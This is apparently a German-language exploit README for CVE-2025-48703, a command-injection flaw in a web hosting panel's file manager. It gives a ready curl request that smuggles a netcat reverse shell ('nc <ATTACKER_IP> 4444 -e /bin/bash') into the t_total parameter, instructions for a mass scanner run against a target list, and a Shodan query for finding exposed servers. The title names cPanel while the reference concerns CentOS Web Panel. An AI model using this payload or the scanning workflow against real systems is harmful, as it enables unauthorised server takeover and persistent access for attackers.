🛡️ CVE-2025-48703 - Remote Code Execution (RCE) im cPanel Dateimanager

📌 Beschreibung

CVE-2025-48703 ist eine Remote Code Execution (RCE)-Sicherheitslücke im filemanager-Modul eines Webhosting-Kontrollpanels (z.B. cPanel). Sie tritt aufgrund einer nicht bereinigten Eingabeverarbeitung in der acc=changePerm-Funktion auf, die es einem Angreifer ermöglicht, beliebige Systembefehle über den Parameter t_total einzuschleusen und auszuführen.

🧨 Auswirkungen

Diese Sicherheitslücke ermöglicht Angreifern:

• Ausführen beliebiger Befehle auf dem Zielserver.
• Einrichten einer Reverse-Shell für dauerhaften Zugriff.
• Potenziell Rechteausweitung oder laterale Bewegung.

⚠️ Dieser Angriff kann mit minimaler Authentifizierung oder in einigen Konfigurationen ohne Authentifizierung durchgeführt werden.

🚀 Proof-of-Concept (PoC)

✅ Reverse-Shell-Befehl

curl -kis 'https://<TARGET_IP>:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc <ATTACKER_IP> 4444 -e /bin/bash`'

Verwendung des Scanners

python3 Scanner.py  #Make sure targets.txt is in the same dir

Shodan-Suche

Server: cwpsrv

Referenz: https://fenrisk.com/rce-centos-webpanel